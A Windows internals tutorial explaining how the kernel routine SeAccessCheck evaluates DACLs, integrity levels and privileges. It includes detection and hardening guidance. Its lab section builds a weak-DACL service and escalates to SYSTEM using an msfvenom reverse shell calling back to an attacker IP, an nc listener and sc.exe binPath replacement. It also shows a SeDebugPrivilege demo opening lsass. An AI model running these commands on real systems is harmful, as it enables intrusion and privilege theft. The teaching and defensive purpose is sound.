The Windows Access Check Algorithm: How SeAccessCheck Works
Objective: Trace the kernel-mode access check from a thread’s
DesiredAccessrequest throughObCheckObjectAccessintoSeAccessCheck, understand exactly how the DACL is evaluated against the caller’s token, and learn why Windows grants or denies access to any securable object – then weaponize a weak DACL in a lab and watch the defender catch it.
Every time a thread touches a securable object – a file, a registry key, a process, a service – the same question gets asked in the kernel: can this identity get this access to this object? That question has exactly one authoritative answer, and it comes out of one routine. Learn SeAccessCheck properly and most of Windows privilege escalation stops being magic and starts being arithmetic.
Contents
- 1 1. The Security Reference Monitor and Where SeAccessCheck Lives
- 2 2. The Three Inputs: Token, Security Descriptor, Desired Access
- 3 3. From OpenProcess to SeAccessCheck: The Full Call Path
- 4 4. The SeAccessCheck Signature, Parameter by Parameter
- 5 5. The ACE Evaluation Algorithm, Step by Step
- 6 6. ACE Ordering, NULL DACLs, and Empty DACLs
- 7 7. Mandatory Integrity Control: The Pre-DACL Gate
- 8 8. Privilege Checks Inside SeAccessCheck
- 9 9. Restricted Tokens and the Double-Pass
- 10 10. User-Mode AccessCheck and the AuthZ API
- 11 11. Abusing the Access Check: Weak Service DACL to SYSTEM (Lab)
- 12 12. Detection, Auditing, and Hardening
- 13 13. Tools for Access-Check Analysis
- 14 Summary
- 15 Related Tutorials
- 16 References
1. The Security Reference Monitor and Where SeAccessCheck Lives
The Security Reference Monitor (SRM) is the executive component, living inside ntoskrnl.exe, that owns the access check algorithm. The convention is simple and worth internalizing: routines that talk directly to the SRM carry the Se prefix. SeAccessCheck is the canonical one.
The model the SRM enforces is an equation with three inputs: the security identity of a thread, the access that thread wants, and the security settings of the object. Everything in this article is just those three things colliding.
SeAccessCheck does not stand alone. A couple of internal routines matter for understanding the call graph and the bypasses:
| Function | Role |
|---|---|
ObCheckObjectAccess | Object Manager routine that captures the subject context and invokes SeAccessCheck. Takes the object’s security info, the thread identity, and the requested access; returns TRUE or FALSE. |
SeAccessCheck | The decision routine. Walks the DACL, applies privileges, returns GrantedAccess and AccessStatus. |
SeAccessCheckWithHintWithAdminlessChecks | Called by SeAccessCheck; where privilege-based bypasses are resolved. |
EvaluateTokenAgainstDescriptor | The MS-DTYP pseudocode reference name for the core ACE evaluation loop ([MS-DTYP] section 2.5.3). |
2. The Three Inputs: Token, Security Descriptor, Desired Access
The access token is the security identity. It carries the user SID, group SIDs, an integrity level, the privilege array, and optionally a set of restricted SIDs. When a thread is impersonating, the impersonation token is used; otherwise the process primary token.
The security descriptor is the object’s security settings. The pieces that matter to the check are the Owner SID, the DACL (the list of allow/deny ACEs), and the control flags that say whether a DACL is even present. The SACL governs auditing, not access.
The desired access is an ACCESS_MASK: a 32-bit bitmask of the rights the caller wants. The top bits are generic (GENERIC_READ, GENERIC_WRITE, GENERIC_EXECUTE, GENERIC_ALL) and the special bits include MAXIMUM_ALLOWED, ACCESS_SYSTEM_SECURITY, and the standard rights like WRITE_DAC and WRITE_OWNER. Generic bits are meaningless to the comparison until they are mapped to object-specific bits via the object type’s GENERIC_MAPPING.
3. From OpenProcess to SeAccessCheck: The Full Call Path
Take a concrete request: a thread calls OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid). The path into the kernel looks like this:
OpenProcess (user mode)
-> NtOpenProcess
-> PsOpenProcess
-> ObOpenObjectByPointer
-> ObCheckObjectAccess
-> SeAccessCheck <-- the decision
-> (on success) handle is created in the process handle table
ObCheckObjectAccess does the bookkeeping. It captures the caller’s subject context, then calls SeAccessCheck. Progress is tracked through an ACCESS_STATE structure, whose PreviouslyGrantedAccess and RemainingDesiredAccess members record what has already been granted (for instance, rights conferred by a held privilege) and what is still being asked for. If the check passes, the Object Manager allocates a handle and stamps it with the GrantedAccess mask. That mask, not the original request, is what every later operation on the handle is validated against.
, ObCheckObjectAccess, and into SeAccessCheck, ending with handle creation stamped with GrantedAccess.](https://genxcyber.com/wp-content/uploads/2026/06/seaccesscheck-windows-access-check-algorithm-1-scaled.png)
4. The SeAccessCheck Signature, Parameter by Parameter
Here is the kernel signature exactly as the WDK declares it:
BOOLEAN SeAccessCheck(
[in] PSECURITY_DESCRIPTOR SecurityDescriptor,
[in] PSECURITY_SUBJECT_CONTEXT SubjectSecurityContext,
[in] BOOLEAN SubjectContextLocked,
[in] ACCESS_MASK DesiredAccess,
[in] ACCESS_MASK PreviouslyGrantedAccess,
[out] PPRIVILEGE_SET *Privileges,
[in] PGENERIC_MAPPING GenericMapping,
[in] KPROCESSOR_MODE AccessMode,
[out] PACCESS_MASK GrantedAccess,
[out] PNTSTATUS AccessStatus
);
| Parameter | Type | Purpose |
|---|---|---|
SecurityDescriptor | PSECURITY_DESCRIPTOR | The object’s owner, group, DACL, and SACL. |
SubjectSecurityContext | PSECURITY_SUBJECT_CONTEXT | Opaque struct capturing the caller’s primary and impersonation tokens. |
SubjectContextLocked | BOOLEAN | Whether the subject context is already locked, so it is not locked twice. |
DesiredAccess | ACCESS_MASK | Rights the caller is attempting to acquire. |
PreviouslyGrantedAccess | ACCESS_MASK | Rights already granted, e.g. from holding a privilege. |
Privileges | PPRIVILEGE_SET* | Receives the PRIVILEGE_SET used during validation; release with SeFreePrivileges. |
GenericMapping | PGENERIC_MAPPING | Maps generic rights to object-specific rights before ACE comparison. |
GrantedAccess | PACCESS_MASK | Out: the access actually granted. |
AccessStatus | PNTSTATUS | Out: the status to return. If the routine returns FALSE, use this value rather than hardcoding STATUS_ACCESS_DENIED. |
That last point is a real gotcha. The routine can fail for reasons other than denial – a malformed descriptor, for example – and blindly returning STATUS_ACCESS_DENIED will mislead callers up the stack.
5. The ACE Evaluation Algorithm, Step by Step
Strip away the wrappers and the algorithm is a single loop over the DACL. MS-DTYP calls the reference implementation EvaluateTokenAgainstDescriptor. The mental model:
- Map any generic bits in
DesiredAccessthrough theGENERIC_MAPPING. - Initialize a
RemainingAccessmask to the (mapped)DesiredAccess, minus anything inPreviouslyGrantedAccess. - Walk the DACL in order, one ACE at a time:
– If the ACE’s SID is not present in the token’s authorization context, skip it.
– If it is an access-allowed ACE, clear those rights fromRemainingAccess.
– If it is an access-denied ACE and any of its rights are still inRemainingAccess, the entire request is denied immediately. - When the loop ends: if
RemainingAccessis zero, every requested right was satisfied, so access is granted. If any bit remains, the request is denied.
| Step | Condition | Effect |
|---|---|---|
| SID not in token | ACE SID absent from authorization context | ACE skipped |
| Allow ACE matches | SID present, allow | Clear matched bits from RemainingAccess |
| Deny ACE matches | SID present, deny, bit still pending | Whole request denied, stop |
| Loop end | RemainingAccess == 0 | Granted |
| Loop end | RemainingAccess != 0 | Denied |
The subtle implication: a denied right is final the instant it is hit, but a granted right only “counts” if nothing later (or earlier, depending on order) revokes it. Which makes ordering everything.

6. ACE Ordering, NULL DACLs, and Empty DACLs
ACEs are processed in the order they appear in the DACL. Explicit ACEs assigned directly to the object come first, then inherited ACEs, and within inherited ACEs the parent’s come before the grandparent’s, walking up the tree. The well-known “canonical order” places deny ACEs before allow ACEs precisely so that a deny is evaluated before a competing allow. If a tool writes an allow ACE ahead of a deny ACE for the same SID and right, the allow wins, because the loop terminates on first satisfaction. Order is policy.
Two cases trip up almost everyone:
- NULL DACL. If the DACL pointer is null (the descriptor says “DACL present” but the pointer is
NULL), all access is granted to everyone. There is no ACE to fail against. - Empty DACL. A DACL that is present but contains zero ACEs grants nothing to anyone. The loop ends with
RemainingAccessstill set, so every request is denied.
I once watched someone “lock down” a named pipe by handing it an empty DACL and then spend an afternoon wondering why even SYSTEM could not open it. The fix they reached for – swapping in a NULL DACL – did the opposite of hardening. Two descriptors that look almost identical in code produce polar-opposite security. Know which one you are building.
7. Mandatory Integrity Control: The Pre-DACL Gate
Before the DACL is ever walked, Mandatory Integrity Control (MIC) runs. It is checked first because it is cheaper than a full ACE traversal, and it can deny outright.
Each token has an integrity level (Low, Medium, High, System). Each object can carry a mandatory label ACE with its own integrity level and a policy. The default policy is no-write-up: a process can open an object for write access only if its integrity level is equal to or higher than the object’s, and the DACL also grants the access. A Low-integrity process cannot open a Medium-integrity process for write, even if the DACL would have allowed it. There are also no-read-up and no-execute-up variants set by the label.
This is why a sandboxed (Low IL) browser renderer cannot scribble into Medium-integrity user files even when the file DACL nominally permits the user: MIC vetoes the write before the DACL is consulted.

8. Privilege Checks Inside SeAccessCheck
Some access decisions are settled by privilege, not by ACEs. SeAccessCheck may perform privilege tests depending on the requested rights:
SeTakeOwnershipPrivilegecan grantWRITE_OWNERregardless of the DACL.SeSecurityPrivilegeis required to obtainACCESS_SYSTEM_SECURITY(the SACL).- The routine may also check whether the caller is the object owner to grant
READ_CONTROLorWRITE_DAC.
Two important nuances. If MAXIMUM_ALLOWED is set in DesiredAccess, the routine performs all DACL checks but does not perform privilege checks unless the caller explicitly sets ACCESS_SYSTEM_SECURITY or WRITE_OWNER. And the privilege tests can change between releases.
SeDebugPrivilege is the big one. Holding it bypasses MIC and the ACE checks (both discretionary and conditional) entirely – which is exactly why it grants PROCESS_ALL_ACCESS to processes you would otherwise be denied. What it does not bypass: protected-process checks and third-party pre-operation callbacks (the kind EDR registers via ObRegisterCallbacks).
Here is a self-contained demo that shows the difference. Run it once as a normal user, then elevated, against a process you do not own:
#include <windows.h>
#include <stdio.h>
BOOL EnablePriv(LPCWSTR priv) {
HANDLE hTok; TOKEN_PRIVILEGES tp; LUID luid;
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hTok)) return FALSE;
if (!LookupPrivilegeValueW(NULL, priv, &luid)) { CloseHandle(hTok); return FALSE; }
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
BOOL ok = AdjustTokenPrivileges(hTok, FALSE, &tp, sizeof(tp), NULL, NULL);
CloseHandle(hTok);
return ok && GetLastError() == ERROR_SUCCESS;
}
int wmain(int argc, wchar_t **argv) {
if (argc < 2) { wprintf(L"usage: dbgopen <pid>\n"); return 1; }
DWORD pid = _wtoi(argv[1]);
HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
wprintf(L"Before priv: %s (err=%lu)\n", h ? L"OPENED" : L"DENIED", GetLastError());
if (h) CloseHandle(h);
if (!EnablePriv(L"SeDebugPrivilege")) {
wprintf(L"Could not enable SeDebugPrivilege (need elevation)\n"); return 1;
}
h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
wprintf(L"After SeDebugPrivilege: %s (err=%lu)\n", h ? L"OPENED" : L"DENIED", GetLastError());
if (h) CloseHandle(h);
return 0;
}
Pointing this at the lsass.exe PID shows the DENIED to OPENED flip the instant the privilege is enabled. Note that this same open is the single highest-signal detection event on the system, which we cover in Section 12.
9. Restricted Tokens and the Double-Pass
CreateRestrictedToken produces a token with restricting SIDs. When such SIDs are present, the access check is run twice: once with the normal SID set, and again using only the restricting SIDs. Access is granted only if both passes succeed. This is how sandboxes (and parts of UAC’s filtered administrator token) achieve “you are still this user, but you cannot touch most of what this user could.” The DACL has not changed; the token has been narrowed, and the second pass intersects the result.
10. User-Mode AccessCheck and the AuthZ API
The kernel routine has a user-mode twin: the AuthZ API AccessCheck. Applications use it to make the same decisions transparently, plus AuthzAccessCheck and GetEffectiveRightsFromAcl for richer scenarios. This is the easiest way to see the algorithm without a debugger. The following program builds a security descriptor from SDDL, grabs the caller’s token, and asks for effective rights:
#include <windows.h>
#include <sddl.h>
#include <stdio.h>
int main(void) {
PSECURITY_DESCRIPTOR pSD = NULL;
// Owner SYSTEM, allow GENERIC_ALL to BUILTIN\Users (BU)
if (!ConvertStringSecurityDescriptorToSecurityDescriptorW(
L"O:SYG:SYD:(A;;GA;;;BU)", SDDL_REVISION_1, &pSD, NULL)) {
printf("SDDL parse failed: %lu\n", GetLastError()); return 1;
}
ImpersonateSelf(SecurityImpersonation);
HANDLE hTok = NULL;
OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, FALSE, &hTok);
GENERIC_MAPPING gm = {
STANDARD_RIGHTS_READ, STANDARD_RIGHTS_WRITE,
STANDARD_RIGHTS_EXECUTE, STANDARD_RIGHTS_ALL
};
DWORD desired = GENERIC_READ | GENERIC_WRITE;
MapGenericMask(&desired, &gm);
PRIVILEGE_SET ps; DWORD psLen = sizeof(ps);
DWORD granted = 0; BOOL ok = FALSE;
if (AccessCheck(pSD, hTok, desired, &gm, &ps, &psLen, &granted, &ok))
printf("GrantedAccess=0x%08lx access=%d\n", granted, ok);
else
printf("AccessCheck failed: %lu\n", GetLastError());
RevertToSelf();
CloseHandle(hTok);
LocalFree(pSD);
return 0;
}
For interactive DACL spelunking, James Forshaw’s NtObjectManager module is unmatched:
Import-Module NtObjectManager
# Effective rights for the current token on a file
Get-NtGrantedAccess -Path "\??\C:\Temp\secret.dat"
# Compute granted access for a token against an arbitrary SDDL descriptor
Get-NtGrantedAccess -SecurityDescriptor "O:SYG:SYD:(A;;GA;;;BU)" -Type File
# Walk a live process object's DACL
$p = Get-NtProcess -ProcessId (Get-Process lsass).Id -Access QueryLimitedInformation
Get-NtSecurityDescriptor $p | Select-Object -ExpandProperty Dacl
11. Abusing the Access Check: Weak Service DACL to SYSTEM (Lab)
The most common way the access check bites defenders is not a bug in the algorithm. It is an object handed a DACL that grants too much. Service objects are the classic offender. We will build one, audit it as a standard user, and ride it to SYSTEM.
Run everything in this section against a self-built, isolated lab VM only. The setup script intentionally creates a vulnerable service.
Lab Setup (run elevated, once)
# Create a demo service
sc.exe create VulnSvc binPath= "C:\Windows\System32\cmd.exe /c rem" start= demand
# Intentionally weak: grant Authenticated Users (AU) full service access,
# including DC (SERVICE_CHANGE_CONFIG) and RP (SERVICE_START)
sc.exe sdset VulnSvc "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)"
Recon as labuser (standard user)
# Which services can Authenticated Users modify?
accesschk.exe -uwcqv "Authenticated Users" *
# Read the raw SDDL and decode it
sc.exe sdshow VulnSvc
ConvertFrom-SddlString ((sc.exe sdshow VulnSvc) -join "").Trim()
accesschk flags VulnSvc with SERVICE_CHANGE_CONFIG and SERVICE_START for our group. In SDDL terms, the AU ACE contains DC (change config) and RP (start). That pairing is game over: change the binary, then start the service. The SCM starts it as LocalSystem.
Build the Payload (attacker box)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 -f exe -o revshell.exe
nc -lvnp 4444
Copy revshell.exe to C:\Temp\ on the lab VM.
Trigger as labuser
:: labuser holds SERVICE_CHANGE_CONFIG, so ChangeServiceConfig succeeds
sc.exe config VulnSvc binPath= "C:\Temp\revshell.exe"
:: labuser holds SERVICE_START, so the SCM launches the new binary as SYSTEM
sc.exe start VulnSvc
The listener catches a shell running as NT AUTHORITY\SYSTEM. No memory corruption, no shellcode tricks – just a DACL that said yes to the wrong SID.
Watch the Check in WinDbg
To see the kernel decision behind the SCM’s calls, attach a kernel debugger to the VM and break on the routine:
kd> bp nt!SeAccessCheck
kd> g
Breakpoint 0 hit
nt!SeAccessCheck:
kd> r r9 ; x64: 4th arg (DesiredAccess) lands in R9
kd> kb ; confirm the caller is the SCM resolving SERVICE_START
You will see DesiredAccess carrying the service start bit, the DACL walk clearing it against the AU allow ACE, and GrantedAccess coming back with that bit set. The algorithm did precisely what it was told.
12. Detection, Auditing, and Hardening
None of this is invisible. The access check and its abuse leave a clear trail if auditing is configured.
Windows Security Event IDs
| Event ID | Channel | Fires when |
|---|---|---|
4656 | Security | A handle to an object was requested (rights requested, not yet used). |
4663 | Security | An attempt was made to access an object. Requires a matching SACL ACE; success only, shows the right was used. |
4670 | Security | Permissions on an object were changed (DACL/SACL modified). |
4672 | Security | Special privileges assigned to new logon (catches SeDebugPrivilege). |
4907 | Security | Auditing settings on an object changed (SACL tamper). |
4719 | Security | System audit policy changed. |
7045 | System | New service installed. |
4663 only fires when the object’s SACL carries the relevant ACE, so SACL configuration is a prerequisite, not a default. It also has no failure variant: it confirms a right was exercised, not merely requested.
Sysmon Event IDs
| Sysmon EID | Capture target |
|---|---|
10 (ProcessAccess) | Handle opens against lsass.exe and other sensitive processes, with the requested access mask. |
13 (RegistryValue Set) | Writes to HKLM\SYSTEM\CurrentControlSet\Services\*\ImagePath. |
11 (FileCreate) | Payloads dropped into writable service paths. |
For the SeDebugPrivilege demo from Section 8, the pairing is Sysmon Event ID 10 showing the LSASS handle open with PROCESS_VM_READ plus Security Event ID 4672 recording the sensitive privilege on logon. Where kernel SACLs are impractical, Sysmon EID 10 is the better LSASS tripwire because it logs every opener and its access mask.
Audit Policy Prerequisites
auditpol /set /subcategory:"File System" /success:enable /failure:enable
auditpol /set /subcategory:"Registry" /success:enable /failure:enable
auditpol /set /subcategory:"Handle Manipulation" /success:enable /failure:enable
auditpol /set /subcategory:"Sensitive Privilege Use" /success:enable /failure:enable
auditpol /set /subcategory:"Audit Policy Change" /success:enable /failure:enable
Sigma: Service DACL Modified to Grant Broad Access
title: Service DACL Modified to Grant Permissive Access
logsource:
product: windows
service: security
detection:
selection:
EventID: 4670
ObjectType: 'Service Object'
NewSd|contains:
- 'WD)' # World / Everyone
- 'BU)' # BUILTIN\Users
- 'AU)' # Authenticated Users
condition: selection
level: high
Useful Sigma fields: EventID, ObjectName, ObjectType, OldSd, NewSd, SubjectUserSid, SubjectLogonId, AccessMask, ProcessName. The Microsoft-Windows-Security-Auditing provider ({54849625-5478-4994-A5BA-3E3B0328C30D}) carries all the Security events above.
Hardening
- Never ship a NULL DACL. Build an explicit, minimal DACL with
SetSecurityDescriptorDacland a real ACE list. - Keep deny ACEs ahead of allow ACEs so the first matching ACE makes the intended decision.
- Tighten service descriptors with
sc.exe sdset, removingDC/RPfrom non-admin SIDs. - Least privilege everywhere so attackers cannot harvest tokens from privileged processes.
- Restrict token rights:
Create a Token Objectto Local System only;Replace a Process Level Tokento Local and Network Service. - Put SACLs on the crown jewels (LSASS, the SAM hive,
NTDS.dit, sensitive keys) so access produces auditable events. - Run
accesschk.exeon a schedule to catch world-writable services, keys, and paths before an attacker does.
MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Access Token Manipulation | T1134 | 4672, token-related logon anomalies |
| Token Impersonation/Theft | T1134.001 | Sysmon 10, abnormal DuplicateTokenEx usage |
| Make and Impersonate Token | T1134.003 | LogonUser/SetThreadToken from non-service code |
| SID-History Injection | T1134.005 | DC replication / SID anomalies |
| File and Directory Permissions Modification | T1222 | 4670, 4907 |
| Windows File/Directory Permissions Modification | T1222.001 | icacls/cacls/takeown/sc sdset process events |
| Services Registry Permissions Weakness | T1574.011 | 7045, Sysmon 13 on ImagePath, 4670 on service objects |

13. Tools for Access-Check Analysis
| Tool | Description | Link |
|---|---|---|
| AccessChk | Enumerate effective rights on services, keys, files, processes | live.sysinternals.com |
| NtObjectManager | PowerShell Get-NtGrantedAccess/DACL walking | github.com |
| WinObj | Browse the object namespace and per-object security | live.sysinternals.com |
| Process Hacker | Inspect token SIDs, privileges, integrity, handle access masks | processhacker.sourceforge.io |
| WinDbg | bp nt!SeAccessCheck, inspect ACCESS_STATE and parameters | learn.microsoft.com |
| Sysmon | ProcessAccess/Registry/FileCreate telemetry | live.sysinternals.com |
sc.exe | Read/write service SDDL (sdshow/sdset) | built-in |
Summary
SeAccessCheckis the one routine that decides every securable-object access decision in Windows, comparing the caller’s token to the object’s DACL for the requestedACCESS_MASK.- The algorithm is a single ordered DACL walk: matching deny ACEs end it immediately, matching allow ACEs clear bits, and access is granted only when no requested bit remains.
- A NULL DACL grants everyone everything; an empty DACL denies everyone – two descriptors that look almost identical and behave oppositely.
- MIC runs before the DACL, privileges like
SeDebugPrivilegebypass MIC and ACE checks but not protected-process or callback checks, and restricted tokens force a second intersecting pass. - Weak object DACLs (a writable service is the textbook case) turn the access check from a guard into a privilege-escalation primitive – detect it with Security
4670/7045, Sysmon10/13, and SACL-driven4663, and harden by never shipping permissive or NULL DACLs.
Related Tutorials
- Access Tokens and Privileges: The Kernel’s Security Context
- SIDs and Security Descriptors: Identity in Windows Security
- Fibers: User-Mode Cooperative Threads
- Jobs and Silos: Process Grouping and Resource Limits
- Windows Scheduler Internals: Priority Levels, Quantum, and Thread Selection
References
- attack.mitre.org
- learn.microsoft.com
- www.microsoftpressstore.com
- medium.com
- learn.microsoft.com
- learn.microsoft.com
- www.oreilly.com
- jonny-johnson.medium.com
Get new drops in your inbox
Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.